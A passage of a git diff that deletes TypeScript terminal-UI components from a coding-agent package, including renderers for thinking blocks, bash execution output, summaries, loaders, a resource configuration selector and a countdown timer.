superfluous blank line before separately-rendered tool execution blocks. - const hasVisibleContentAfter = slice - .slice(i + 1) - .some( - (c) => - (c.type === "text" && c.text.trim()) || - (c.type === "thinking" && c.thinking.trim()), - ); - - if (this.hideThinkingBlock) { - // Show static "Thinking..." label when hidden - this.contentContainer.addChild( - new Text( - theme.italic(theme.fg("thinkingText", "Thinking...")), - 1, - 0, - ), - ); - if (hasVisibleContentAfter) { - this.contentContainer.addChild(new Spacer(1)); - } - } else { - // Thinking traces in thinkingText color, italic - const thinkingMarkdown = new Markdown( - content.thinking.trim(), - 1, - 0, - this.markdownTheme, - { - color: (text: string) => theme.fg("thinkingText", text), - italic: true, - }, - ); - // Keep visible chat output readable when thinking traces are long. - // Tool-bearing turns can stream text in a later assistant message. - if (shouldCapThinking) { - thinkingMarkdown.maxLines = 8; - } - this.contentContainer.addChild(thinkingMarkdown); - if (hasVisibleContentAfter) { - this.contentContainer.addChild(new Spacer(1)); - } - } - } - } - - // Metadata (errors, timestamp): gated on showMetadata so ranged instances stay clean - // until chat-controller explicitly enables it on the last segment at message_end. - if (this.showMetadata) { - // Check if aborted - show after partial content - // But only if there are no tool calls (tool execution components will show the error) - const hasToolCalls = message.content.some((c) => c.type === "toolCall"); - if (!hasToolCalls) { - if (message.stopReason === "aborted") { - const abortMessage = - message.errorMessage && - message.errorMessage !== "Request was aborted" - ? message.errorMessage - : "Operation aborted"; - if (hasVisibleContent) { - this.contentContainer.addChild(new Spacer(1)); - } - this.contentContainer.addChild( - new Text(theme.fg("error", abortMessage), 1, 0), - ); - } else if (message.stopReason === "error") { - const errorMsg = message.errorMessage || "Unknown error"; - this.contentContainer.addChild(new Spacer(1)); - this.contentContainer.addChild( - new Text(theme.fg("error", `Error: ${errorMsg}`), 1, 0), - ); - } - } - - if (!hasToolContent && message.stopReason && message.timestamp) { - const timeStr = formatTimestamp( - message.timestamp, - this.timestampFormat, - ); - this.contentContainer.addChild( - new Text(theme.fg("dim", timeStr), 1, 0), - ); - } - } - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/bash-execution.ts b/packages/pi-coding-agent/src/modes/interactive/components/bash-execution.ts deleted file mode 100644 index d70cea1b7..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/bash-execution.ts +++ /dev/null @@ -1,243 +0,0 @@ -/** - * Component for displaying bash command execution with streaming output. - */ - -import { - Container, - Loader, - Spacer, - Text, - type TUI, -} from "@singularity-forge/pi-tui"; -import stripAnsi from "strip-ansi"; -import { - DEFAULT_MAX_BYTES, - DEFAULT_MAX_LINES, - type TruncationResult, - truncateTail, -} from "../../../core/tools/truncate.js"; -import { theme } from "../theme/theme.js"; -import { DynamicBorder } from "./dynamic-border.js"; -import { editorKey, keyHint } from "./keybinding-hints.js"; -import { truncateToVisualLines } from "./visual-truncate.js"; - -// Preview line limit when not expanded (matches tool execution behavior) -const PREVIEW_LINES = 20; - -export class BashExecutionComponent extends Container { - private command: string; - private outputLines: string[] = []; - private status: "running" | "complete" | "cancelled" | "error" = "running"; - private exitCode: number | undefined = undefined; - private loader: Loader; - private truncationResult?: TruncationResult; - private fullOutputPath?: string; - private expanded = false; - private contentContainer: Container; - private ui: TUI; - private _borderColorKey: "dim" | "bashMode"; - - constructor(command: string, ui: TUI, excludeFromContext = false) { - super(); - this.command = command; - this.ui = ui; - - // Use dim border for excluded-from-context commands (!! prefix) - const colorKey = excludeFromContext ? "dim" : "bashMode"; - this._borderColorKey = colorKey; - const borderColor = (str: string) => theme.fg(colorKey, str); - - // Add spacer - this.addChild(new Spacer(1)); - - // Top border - this.addChild(new DynamicBorder(borderColor)); - - // Content container (holds dynamic content between borders) - this.contentContainer = new Container(); - this.addChild(this.contentContainer); - - // Command header - const header = new Text( - theme.fg(colorKey, theme.bold(`$ ${command}`)), - 1, - 0, - ); - this.contentContainer.addChild(header); - - // Loader - this.loader = new Loader( - ui, - (spinner) => theme.fg(colorKey, spinner), - (text) => theme.fg("muted", text), - `Running... (${editorKey("selectCancel")} to cancel)`, // Plain text for loader - ); - this.contentContainer.addChild(this.loader); - - // Bottom border - this.addChild(new DynamicBorder(borderColor)); - } - - /** - * Set whether the output is expanded (shows full output) or collapsed (preview only). - */ - setExpanded(expanded: boolean): void { - this.expanded = expanded; - this.updateDisplay(); - } - - override invalidate(): void { - super.invalidate(); - this.updateDisplay(); - } - - appendOutput(chunk: string): void { - // Strip ANSI codes and normalize line endings - // Note: binary data is already sanitized in tui-renderer.ts executeBashCommand - const clean = stripAnsi(chunk).replace(/\r\n/g, "\n").replace(/\r/g, "\n"); - - // Append to output lines - const newLines = clean.split("\n"); - if (this.outputLines.length > 0 && newLines.length > 0) { - // Append first chunk to last line (incomplete line continuation) - this.outputLines[this.outputLines.length - 1] += newLines[0]; - this.outputLines.push(...newLines.slice(1)); - } else { - this.outputLines.push(...newLines); - } - - this.updateDisplay(); - } - - setComplete( - exitCode: number | undefined, - cancelled: boolean, - truncationResult?: TruncationResult, - fullOutputPath?: string, - ): void { - this.exitCode = exitCode; - this.status = cancelled - ? "cancelled" - : exitCode !== 0 && exitCode !== undefined && exitCode !== null - ? "error" - : "complete"; - this.truncationResult = truncationResult; - this.fullOutputPath = fullOutputPath; - - // Stop loader - this.loader.stop(); - - this.updateDisplay(); - } - - private updateDisplay(): void { - // Apply truncation for LLM context limits (same limits as bash tool) - const fullOutput = this.outputLines.join("\n"); - const contextTruncation = truncateTail(fullOutput, { - maxLines: DEFAULT_MAX_LINES, - maxBytes: DEFAULT_MAX_BYTES, - }); - - // Get the lines to potentially display (after context truncation) - const availableLines = contextTruncation.content - ? contextTruncation.content.split("\n") - : []; - - // Apply preview truncation based on expanded state - const previewLogicalLines = availableLines.slice(-PREVIEW_LINES); - const hiddenLineCount = availableLines.length - previewLogicalLines.length; - - // Rebuild content container - this.contentContainer.clear(); - - // Command header - const header = new Text( - theme.fg(this._borderColorKey, theme.bold(`$ ${this.command}`)), - 1, - 0, - ); - this.contentContainer.addChild(header); - - // Output - if (availableLines.length > 0) { - if (this.expanded) { - // Show all lines - const displayText = availableLines - .map((line) => theme.fg("muted", line)) - .join("\n"); - this.contentContainer.addChild(new Text(`\n${displayText}`, 1, 0)); - } else { - // Use shared visual truncation utility - const styledOutput = previewLogicalLines - .map((line) => theme.fg("muted", line)) - .join("\n"); - const { visualLines } = truncateToVisualLines( - `\n${styledOutput}`, - PREVIEW_LINES, - this.ui.terminal.columns, - 1, // padding - ); - this.contentContainer.addChild({ - render: () => visualLines, - invalidate: () => {}, - }); - } - } - - // Loader or status - if (this.status === "running") { - this.contentContainer.addChild(this.loader); - } else { - const statusParts: string[] = []; - - // Show how many lines are hidden (collapsed preview) - if (hiddenLineCount > 0) { - if (this.expanded) { - statusParts.push(`(${keyHint("expandTools", "to collapse")})`); - } else { - statusParts.push( - `${theme.fg("muted", `... ${hiddenLineCount} more lines`)} (${keyHint("expandTools", "to expand")})`, - ); - } - } - - if (this.status === "cancelled") { - statusParts.push(theme.fg("warning", "(cancelled)")); - } else if (this.status === "error") { - statusParts.push(theme.fg("error", `(exit ${this.exitCode})`)); - } - - // Add truncation warning (context truncation, not preview truncation) - const wasTruncated = - this.truncationResult?.truncated || contextTruncation.truncated; - if (wasTruncated && this.fullOutputPath) { - statusParts.push( - theme.fg( - "warning", - `Output truncated. Full output: ${this.fullOutputPath}`, - ), - ); - } - - if (statusParts.length > 0) { - this.contentContainer.addChild( - new Text(`\n${statusParts.join("\n")}`, 1, 0), - ); - } - } - } - - /** - * Get the raw output for creating BashExecutionMessage. - */ - getOutput(): string { - return this.outputLines.join("\n"); - } - - /** - * Get the command that was executed. - */ - getCommand(): string { - return this.command; - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/bordered-loader.ts b/packages/pi-coding-agent/src/modes/interactive/components/bordered-loader.ts deleted file mode 100644 index 415ed8949..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/bordered-loader.ts +++ /dev/null @@ -1,78 +0,0 @@ -import { - CancellableLoader, - Container, - Loader, - Spacer, - Text, - type TUI, -} from "@singularity-forge/pi-tui"; -import type { Theme } from "../theme/theme.js"; -import { DynamicBorder } from "./dynamic-border.js"; -import { keyHint } from "./keybinding-hints.js"; - -/** Loader wrapped with borders for extension UI */ -export class BorderedLoader extends Container { - private loader: CancellableLoader | Loader; - private cancellable: boolean; - private signalController?: AbortController; - - constructor( - tui: TUI, - theme: Theme, - message: string, - options?: { cancellable?: boolean }, - ) { - super(); - this.cancellable = options?.cancellable ?? true; - const borderColor = (s: string) => theme.fg("border", s); - this.addChild(new DynamicBorder(borderColor)); - if (this.cancellable) { - this.loader = new CancellableLoader( - tui, - (s) => theme.fg("accent", s), - (s) => theme.fg("muted", s), - message, - ); - } else { - this.signalController = new AbortController(); - this.loader = new Loader( - tui, - (s) => theme.fg("accent", s), - (s) => theme.fg("muted", s), - message, - ); - } - this.addChild(this.loader); - if (this.cancellable) { - this.addChild(new Spacer(1)); - this.addChild(new Text(keyHint("selectCancel", "cancel"), 1, 0)); - this.addChild(new Spacer(1)); - } - this.addChild(new DynamicBorder(borderColor)); - } - - get signal(): AbortSignal { - if (this.cancellable) { - return (this.loader as CancellableLoader).signal; - } - return this.signalController?.signal ?? new AbortController().signal; - } - - set onAbort(fn: (() => void) | undefined) { - if (this.cancellable) { - (this.loader as CancellableLoader).onAbort = fn; - } - } - - handleInput(data: string): void { - if (this.cancellable) { - (this.loader as CancellableLoader).handleInput(data); - } - } - - dispose(): void { - if ("dispose" in this.loader && typeof this.loader.dispose === "function") { - this.loader.dispose(); - } - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/branch-summary-message.ts b/packages/pi-coding-agent/src/modes/interactive/components/branch-summary-message.ts deleted file mode 100644 index e1e22c9f0..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/branch-summary-message.ts +++ /dev/null @@ -1,67 +0,0 @@ -import { - Box, - Markdown, - type MarkdownTheme, - Spacer, - Text, -} from "@singularity-forge/pi-tui"; -import type { BranchSummaryMessage } from "../../../core/messages.js"; -import { getMarkdownTheme, theme } from "../theme/theme.js"; -import { editorKey } from "./keybinding-hints.js"; - -/** - * Component that renders a branch summary message with collapsed/expanded state. - * Uses same background color as custom messages for visual consistency. - */ -export class BranchSummaryMessageComponent extends Box { - private expanded = false; - private message: BranchSummaryMessage; - private markdownTheme: MarkdownTheme; - - constructor( - message: BranchSummaryMessage, - markdownTheme: MarkdownTheme = getMarkdownTheme(), - ) { - super(1, 1, (t) => theme.bg("customMessageBg", t)); - this.message = message; - this.markdownTheme = markdownTheme; - this.updateDisplay(); - } - - setExpanded(expanded: boolean): void { - this.expanded = expanded; - this.updateDisplay(); - } - - override invalidate(): void { - super.invalidate(); - this.updateDisplay(); - } - - private updateDisplay(): void { - this.clear(); - - const label = theme.fg("customMessageLabel", theme.bold("[branch]")); - this.addChild(new Text(label, 0, 0)); - this.addChild(new Spacer(1)); - - if (this.expanded) { - const header = "**Branch Summary**\n\n"; - this.addChild( - new Markdown(header + this.message.summary, 0, 0, this.markdownTheme, { - color: (text: string) => theme.fg("customMessageText", text), - }), - ); - } else { - this.addChild( - new Text( - theme.fg("customMessageText", "Branch summary (") + - theme.fg("dim", editorKey("expandTools")) + - theme.fg("customMessageText", " to expand)"), - 0, - 0, - ), - ); - } - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/compaction-summary-message.ts b/packages/pi-coding-agent/src/modes/interactive/components/compaction-summary-message.ts deleted file mode 100644 index 9a5e56eb6..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/compaction-summary-message.ts +++ /dev/null @@ -1,68 +0,0 @@ -import { - Box, - Markdown, - type MarkdownTheme, - Spacer, - Text, -} from "@singularity-forge/pi-tui"; -import type { CompactionSummaryMessage } from "../../../core/messages.js"; -import { getMarkdownTheme, theme } from "../theme/theme.js"; -import { editorKey } from "./keybinding-hints.js"; - -/** - * Component that renders a compaction message with collapsed/expanded state. - * Uses same background color as custom messages for visual consistency. - */ -export class CompactionSummaryMessageComponent extends Box { - private expanded = false; - private message: CompactionSummaryMessage; - private markdownTheme: MarkdownTheme; - - constructor( - message: CompactionSummaryMessage, - markdownTheme: MarkdownTheme = getMarkdownTheme(), - ) { - super(1, 1, (t) => theme.bg("customMessageBg", t)); - this.message = message; - this.markdownTheme = markdownTheme; - this.updateDisplay(); - } - - setExpanded(expanded: boolean): void { - this.expanded = expanded; - this.updateDisplay(); - } - - override invalidate(): void { - super.invalidate(); - this.updateDisplay(); - } - - private updateDisplay(): void { - this.clear(); - - const tokenStr = (this.message.tokensBefore ?? 0).toLocaleString(); - const label = theme.fg("customMessageLabel", theme.bold("[compaction]")); - this.addChild(new Text(label, 0, 0)); - this.addChild(new Spacer(1)); - - if (this.expanded) { - const header = `**Compacted from ${tokenStr} tokens**\n\n`; - this.addChild( - new Markdown(header + this.message.summary, 0, 0, this.markdownTheme, { - color: (text: string) => theme.fg("customMessageText", text), - }), - ); - } else { - this.addChild( - new Text( - theme.fg("customMessageText", `Compacted from ${tokenStr} tokens (`) + - theme.fg("dim", editorKey("expandTools")) + - theme.fg("customMessageText", " to expand)"), - 0, - 0, - ), - ); - } - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/config-selector.ts b/packages/pi-coding-agent/src/modes/interactive/components/config-selector.ts deleted file mode 100644 index 1540b4953..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/config-selector.ts +++ /dev/null @@ -1,673 +0,0 @@ -/** - * TUI component for managing package resources (enable/disable) - */ - -import { basename, dirname, join, relative } from "node:path"; -import { - type Component, - Container, - type Focusable, - getEditorKeybindings, - Input, - matchesKey, - Spacer, - truncateToWidth, - visibleWidth, -} from "@singularity-forge/pi-tui"; -import { CONFIG_DIR_NAME } from "../../../config.js"; -import type { - PathMetadata, - ResolvedPaths, - ResolvedResource, -} from "../../../core/package-manager.js"; -import type { - PackageSource, - SettingsManager, -} from "../../../core/settings-manager.js"; -import { theme } from "../theme/theme.js"; -import { DynamicBorder } from "./dynamic-border.js"; -import { rawKeyHint } from "./keybinding-hints.js"; - -type ResourceType = "extensions" | "skills" | "prompts" | "themes"; - -const RESOURCE_TYPE_LABELS: Record = { - extensions: "Extensions", - skills: "Skills", - prompts: "Prompts", - themes: "Themes", -}; - -interface ResourceItem { - path: string; - enabled: boolean; - metadata: PathMetadata; - resourceType: ResourceType; - displayName: string; - groupKey: string; - subgroupKey: string; -} - -interface ResourceSubgroup { - type: ResourceType; - label: string; - items: ResourceItem[]; -} - -interface ResourceGroup { - key: string; - label: string; - scope: "user" | "project" | "temporary"; - origin: "package" | "top-level"; - source: string; - subgroups: ResourceSubgroup[]; -} - -function getGroupLabel(metadata: PathMetadata): string { - if (metadata.origin === "package") { - return `${metadata.source} (${metadata.scope})`; - } - // Top-level resources - if (metadata.source === "auto") { - return metadata.scope === "user" ? "User (~/.pi/agent/)" : "Project (.pi/)"; - } - return metadata.scope === "user" ? "User settings" : "Project settings"; -} - -function buildGroups(resolved: ResolvedPaths): ResourceGroup[] { - const groupMap = new Map(); - - const addToGroup = ( - resources: ResolvedResource[], - resourceType: ResourceType, - ) => { - for (const res of resources) { - const { path, enabled, metadata } = res; - const groupKey = `${metadata.origin}:${metadata.scope}:${metadata.source}`; - - if (!groupMap.has(groupKey)) { - groupMap.set(groupKey, { - key: groupKey, - label: getGroupLabel(metadata), - scope: metadata.scope, - origin: metadata.origin, - source: metadata.source, - subgroups: [], - }); - } - - const group = groupMap.get(groupKey)!; - const subgroupKey = `${groupKey}:${resourceType}`; - - let subgroup = group.subgroups.find((sg) => sg.type === resourceType); - if (!subgroup) { - subgroup = { - type: resourceType, - label: RESOURCE_TYPE_LABELS[resourceType], - items: [], - }; - group.subgroups.push(subgroup); - } - - const fileName = basename(path); - const parentFolder = basename(dirname(path)); - let displayName: string; - if (resourceType === "extensions" && parentFolder !== "extensions") { - displayName = `${parentFolder}/${fileName}`; - } else if (resourceType === "skills" && fileName === "SKILL.md") { - displayName = parentFolder; - } else { - displayName = fileName; - } - subgroup.items.push({ - path, - enabled, - metadata, - resourceType, - displayName, - groupKey, - subgroupKey, - }); - } - }; - - addToGroup(resolved.extensions, "extensions"); - addToGroup(resolved.skills, "skills"); - addToGroup(resolved.prompts, "prompts"); - addToGroup(resolved.themes, "themes"); - - // Sort groups: packages first, then top-level; user before project - const groups = Array.from(groupMap.values()); - groups.sort((a, b) => { - if (a.origin !== b.origin) { - return a.origin === "package" ? -1 : 1; - } - if (a.scope !== b.scope) { - return a.scope === "user" ? -1 : 1; - } - return a.source.localeCompare(b.source); - }); - - // Sort subgroups within each group by type order, and items by name - const typeOrder: Record = { - extensions: 0, - skills: 1, - prompts: 2, - themes: 3, - }; - for (const group of groups) { - group.subgroups.sort((a, b) => typeOrder[a.type] - typeOrder[b.type]); - for (const subgroup of group.subgroups) { - subgroup.items.sort((a, b) => a.displayName.localeCompare(b.displayName)); - } - } - - return groups; -} - -type FlatEntry = - | { type: "group"; group: ResourceGroup } - | { type: "subgroup"; subgroup: ResourceSubgroup; group: ResourceGroup } - | { type: "item"; item: ResourceItem }; - -class ConfigSelectorHeader implements Component { - invalidate(): void {} - - render(width: number): string[] { - const title = theme.bold("Resource Configuration"); - const sep = theme.fg("muted", " · "); - const hint = - rawKeyHint("space", "toggle") + sep + rawKeyHint("esc", "close"); - const hintWidth = visibleWidth(hint); - const titleWidth = visibleWidth(title); - const spacing = Math.max(1, width - titleWidth - hintWidth); - - return [ - truncateToWidth(`${title}${" ".repeat(spacing)}${hint}`, width, ""), - theme.fg("muted", "Type to filter resources"), - ]; - } -} - -class ResourceList implements Component, Focusable { - private groups: ResourceGroup[]; - private flatItems: FlatEntry[] = []; - private filteredItems: FlatEntry[] = []; - private selectedIndex = 0; - private searchInput: Input; - private maxVisible = 15; - private settingsManager: SettingsManager; - private cwd: string; - private agentDir: string; - - public onCancel?: () => void; - public onExit?: () => void; - public onToggle?: (item: ResourceItem, newEnabled: boolean) => void; - - private _focused = false; - get focused(): boolean { - return this._focused; - } - set focused(value: boolean) { - this._focused = value; - this.searchInput.focused = value; - } - - constructor( - groups: ResourceGroup[], - settingsManager: SettingsManager, - cwd: string, - agentDir: string, - ) { - this.groups = groups; - this.settingsManager = settingsManager; - this.cwd = cwd; - this.agentDir = agentDir; - this.searchInput = new Input(); - this.buildFlatList(); - this.filteredItems = [...this.flatItems]; - } - - private buildFlatList(): void { - this.flatItems = []; - for (const group of this.groups) { - this.flatItems.push({ type: "group", group }); - for (const subgroup of group.subgroups) { - this.flatItems.push({ type: "subgroup", subgroup, group }); - for (const item of subgroup.items) { - this.flatItems.push({ type: "item", item }); - } - } - } - // Start selection on first item (not header) - this.selectedIndex = this.flatItems.findIndex((e) => e.type === "item"); - if (this.selectedIndex < 0) this.selectedIndex = 0; - } - - private findNextItem(fromIndex: number, direction: 1 | -1): number { - let idx = fromIndex + direction; - while (idx >= 0 && idx < this.filteredItems.length) { - if (this.filteredItems[idx].type === "item") { - return idx; - } - idx += direction; - } - return fromIndex; // Stay at current if no item found - } - - private filterItems(query: string): void { - if (!query.trim()) { - this.filteredItems = [...this.flatItems]; - this.selectFirstItem(); - return; - } - - const lowerQuery = query.toLowerCase(); - const matchingItems = new Set(); - const matchingSubgroups = new Set(); - const matchingGroups = new Set(); - - for (const entry of this.flatItems) { - if (entry.type === "item") { - const item = entry.item; - if ( - item.displayName.toLowerCase().includes(lowerQuery) || - item.resourceType.toLowerCase().includes(lowerQuery) || - item.path.toLowerCase().includes(lowerQuery) - ) { - matchingItems.add(item); - } - } - } - - // Find which subgroups and groups contain matching items - for (const group of this.groups) { - for (const subgroup of group.subgroups) { - for (const item of subgroup.items) { - if (matchingItems.has(item)) { - matchingSubgroups.add(subgroup); - matchingGroups.add(group); - } - } - } - } - - this.filteredItems = []; - for (const entry of this.flatItems) { - if (entry.type === "group" && matchingGroups.has(entry.group)) { - this.filteredItems.push(entry); - } else if ( - entry.type === "subgroup" && - matchingSubgroups.has(entry.subgroup) - ) { - this.filteredItems.push(entry); - } else if (entry.type === "item" && matchingItems.has(entry.item)) { - this.filteredItems.push(entry); - } - } - - this.selectFirstItem(); - } - - private selectFirstItem(): void { - const firstItemIndex = this.filteredItems.findIndex( - (e) => e.type === "item", - ); - this.selectedIndex = firstItemIndex >= 0 ? firstItemIndex : 0; - } - - updateItem(item: ResourceItem, enabled: boolean): void { - item.enabled = enabled; - // Update in groups too - for (const group of this.groups) { - for (const subgroup of group.subgroups) { - const found = subgroup.items.find( - (i) => i.path === item.path && i.resourceType === item.resourceType, - ); - if (found) { - found.enabled = enabled; - return; - } - } - } - } - - invalidate(): void {} - - render(width: number): string[] { - const lines: string[] = []; - - // Search input - lines.push(...this.searchInput.render(width)); - lines.push(""); - - if (this.filteredItems.length === 0) { - lines.push(theme.fg("muted", " No resources found")); - return lines; - } - - // Calculate visible range - const startIndex = Math.max( - 0, - Math.min( - this.selectedIndex - Math.floor(this.maxVisible / 2), - this.filteredItems.length - this.maxVisible, - ), - ); - const endIndex = Math.min( - startIndex + this.maxVisible, - this.filteredItems.length, - ); - - for (let i = startIndex; i < endIndex; i++) { - const entry = this.filteredItems[i]; - const isSelected = i === this.selectedIndex; - - if (entry.type === "group") { - // Main group header (no cursor) - const groupLine = theme.fg("accent", theme.bold(entry.group.label)); - lines.push(truncateToWidth(` ${groupLine}`, width, "")); - } else if (entry.type === "subgroup") { - // Subgroup header (indented, no cursor) - const subgroupLine = theme.fg("muted", entry.subgroup.label); - lines.push(truncateToWidth(` ${subgroupLine}`, width, "")); - } else { - // Resource item (cursor only on items) - const item = entry.item; - const cursor = isSelected ? "> " : " "; - const checkbox = item.enabled - ? theme.fg("success", "[x]") - : theme.fg("dim", "[ ]"); - const name = isSelected - ? theme.bold(item.displayName) - : item.displayName; - lines.push( - truncateToWidth(`${cursor} ${checkbox} ${name}`, width, "..."), - ); - } - } - - // Scroll indicator — count only selectable items (exclude group/subgroup headers) - if (startIndex > 0 || endIndex < this.filteredItems.length) { - const selectableItems = this.filteredItems.filter( - (e) => e.type === "item", - ); - const selectableTotal = selectableItems.length; - const selectablePosition = selectableItems.findIndex( - (e) => this.filteredItems.indexOf(e) === this.selectedIndex, - ); - lines.push( - theme.fg("dim", ` (${selectablePosition + 1}/${selectableTotal})`), - ); - } - - return lines; - } - - handleInput(data: string): void { - const kb = getEditorKeybindings(); - - if (kb.matches(data, "selectUp")) { - this.selectedIndex = this.findNextItem(this.selectedIndex, -1); - return; - } - if (kb.matches(data, "selectDown")) { - this.selectedIndex = this.findNextItem(this.selectedIndex, 1); - return; - } - if (kb.matches(data, "selectPageUp")) { - // Jump up by maxVisible, then find nearest item - let target = Math.max(0, this.selectedIndex - this.maxVisible); - while ( - target < this.filteredItems.length && - this.filteredItems[target].type !== "item" - ) { - target++; - } - if (target < this.filteredItems.length) { - this.selectedIndex = target; - } - return; - } - if (kb.matches(data, "selectPageDown")) { - // Jump down by maxVisible, then find nearest item - let target = Math.min( - this.filteredItems.length - 1, - this.selectedIndex + this.maxVisible, - ); - while (target >= 0 && this.filteredItems[target].type !== "item") { - target--; - } - if (target >= 0) { - this.selectedIndex = target; - } - return; - } - if (kb.matches(data, "selectCancel")) { - this.onCancel?.(); - return; - } - if (matchesKey(data, "ctrl+c")) { - this.onExit?.(); - return; - } - if (data === " " || kb.matches(data, "selectConfirm")) { - const entry = this.filteredItems[this.selectedIndex]; - if (entry?.type === "item") { - const newEnabled = !entry.item.enabled; - this.toggleResource(entry.item, newEnabled); - this.updateItem(entry.item, newEnabled); - this.onToggle?.(entry.item, newEnabled); - } - return; - } - - // Pass to search input - this.searchInput.handleInput(data); - this.filterItems(this.searchInput.getValue()); - } - - private toggleResource(item: ResourceItem, enabled: boolean): void { - if (item.metadata.origin === "top-level") { - this.toggleTopLevelResource(item, enabled); - } else { - this.togglePackageResource(item, enabled); - } - } - - private toggleTopLevelResource(item: ResourceItem, enabled: boolean): void { - const scope = item.metadata.scope as "user" | "project"; - const settings = - scope === "project" - ? this.settingsManager.getProjectSettings() - : this.settingsManager.getGlobalSettings(); - - const arrayKey = item.resourceType as - | "extensions" - | "skills" - | "prompts" - | "themes"; - const current = (settings[arrayKey] ?? []) as string[]; - - // Generate pattern for this resource - const pattern = this.getResourcePattern(item); - const disablePattern = `-${pattern}`; - const enablePattern = `+${pattern}`; - - // Filter out existing patterns for this resource - const updated = current.filter((p) => { - const stripped = - p.startsWith("!") || p.startsWith("+") || p.startsWith("-") - ? p.slice(1) - : p; - return stripped !== pattern; - }); - - if (enabled) { - updated.push(enablePattern); - } else { - updated.push(disablePattern); - } - - if (scope === "project") { - if (arrayKey === "extensions") { - this.settingsManager.setProjectExtensionPaths(updated); - } else if (arrayKey === "skills") { - this.settingsManager.setProjectSkillPaths(updated); - } else if (arrayKey === "prompts") { - this.settingsManager.setProjectPromptTemplatePaths(updated); - } else if (arrayKey === "themes") { - this.settingsManager.setProjectThemePaths(updated); - } - } else { - if (arrayKey === "extensions") { - this.settingsManager.setExtensionPaths(updated); - } else if (arrayKey === "skills") { - this.settingsManager.setSkillPaths(updated); - } else if (arrayKey === "prompts") { - this.settingsManager.setPromptTemplatePaths(updated); - } else if (arrayKey === "themes") { - this.settingsManager.setThemePaths(updated); - } - } - } - - private togglePackageResource(item: ResourceItem, enabled: boolean): void { - const scope = item.metadata.scope as "user" | "project"; - const settings = - scope === "project" - ? this.settingsManager.getProjectSettings() - : this.settingsManager.getGlobalSettings(); - - const packages = [...(settings.packages ?? [])] as PackageSource[]; - const pkgIndex = packages.findIndex((pkg) => { - const source = typeof pkg === "string" ? pkg : pkg.source; - return source === item.metadata.source; - }); - - if (pkgIndex === -1) return; - - let pkg = packages[pkgIndex]; - - // Convert string to object form if needed - if (typeof pkg === "string") { - pkg = { source: pkg }; - packages[pkgIndex] = pkg; - } - - // Get the resource array for this type - const arrayKey = item.resourceType as - | "extensions" - | "skills" - | "prompts" - | "themes"; - const current = (pkg[arrayKey] ?? []) as string[]; - - // Generate pattern relative to package root - const pattern = this.getPackageResourcePattern(item); - const disablePattern = `-${pattern}`; - const enablePattern = `+${pattern}`; - - // Filter out existing patterns for this resource - const updated = current.filter((p) => { - const stripped = - p.startsWith("!") || p.startsWith("+") || p.startsWith("-") - ? p.slice(1) - : p; - return stripped !== pattern; - }); - - if (enabled) { - updated.push(enablePattern); - } else { - updated.push(disablePattern); - } - - (pkg as Record)[arrayKey] = - updated.length > 0 ? updated : undefined; - - // Clean up empty filter object - const hasFilters = ["extensions", "skills", "prompts", "themes"].some( - (k) => (pkg as Record)[k] !== undefined, - ); - if (!hasFilters) { - packages[pkgIndex] = (pkg as { source: string }).source; - } - - if (scope === "project") { - this.settingsManager.setProjectPackages(packages); - } else { - this.settingsManager.setPackages(packages); - } - } - - private getTopLevelBaseDir(scope: "user" | "project"): string { - return scope === "project" - ? join(this.cwd, CONFIG_DIR_NAME) - : this.agentDir; - } - - private getResourcePattern(item: ResourceItem): string { - const scope = item.metadata.scope as "user" | "project"; - const baseDir = this.getTopLevelBaseDir(scope); - return relative(baseDir, item.path); - } - - private getPackageResourcePattern(item: ResourceItem): string { - const baseDir = item.metadata.baseDir ?? dirname(item.path); - return relative(baseDir, item.path); - } -} - -export class ConfigSelectorComponent extends Container implements Focusable { - private resourceList: ResourceList; - - private _focused = false; - get focused(): boolean { - return this._focused; - } - set focused(value: boolean) { - this._focused = value; - this.resourceList.focused = value; - } - - constructor( - resolvedPaths: ResolvedPaths, - settingsManager: SettingsManager, - cwd: string, - agentDir: string, - onClose: () => void, - onExit: () => void, - requestRender: () => void, - ) { - super(); - - const groups = buildGroups(resolvedPaths); - - // Add header - this.addChild(new Spacer(1)); - this.addChild(new DynamicBorder()); - this.addChild(new Spacer(1)); - this.addChild(new ConfigSelectorHeader()); - this.addChild(new Spacer(1)); - - // Resource list - this.resourceList = new ResourceList( - groups, - settingsManager, - cwd, - agentDir, - ); - this.resourceList.onCancel = onClose; - this.resourceList.onExit = onExit; - this.resourceList.onToggle = () => requestRender(); - this.addChild(this.resourceList); - - // Bottom border - this.addChild(new Spacer(1)); - this.addChild(new DynamicBorder()); - } - - getResourceList(): ResourceList { - return this.resourceList; - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/countdown-timer.ts b/packages/pi-coding-agent/src/modes/interactive/components/countdown-timer.ts deleted file mode 100644 index 49f407006..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/countdown-timer.ts +++ /dev/null @@ -1,41 +0,0 @@ -/** - * Reusable countdown timer for dialog components. - */ - -import type { TUI } from "@singularity-forge/pi-tui"; - -export class CountdownTimer { - private intervalId: ReturnType | undefined; - private remainingSeconds: number; - private _disposed = false; - - constructor( - timeoutMs: number, - private tui: TUI | undefined, - private onTick: (seconds: number) => void, - private onExpire: () => void, - ) { - this.remainingSeconds = Math.ceil(timeoutMs / 1000); - this.onTick(this.remainingSeconds); - - this.intervalId = setInterval(() => { - if (this._disposed) return; - this.remainingSeconds--; - this.onTick(this.remainingSeconds); - this.tui?.requestRender(); - - if (this.remainingSeconds <= 0) { - this.dispose(); - this.onExpire(); - } - }, 1000); - } - - dispose(): void { - this._disposed = true; - if (this.intervalId) { - clearInterval(this.intervalId); - this.intervalId = undefined; - } - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/custom-editor.ts b/packages/pi-coding-agent/src/modes/interactive/components/custom-editor.ts deleted file mode 100644 index 0cf96c72a..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/custom-editor.ts +++ /dev/null @@ -1,109 +0,0 @@ -import { - Editor, - type EditorOptions, - type EditorTheme, - isKittyProtocolActive, - type TUI, -} from 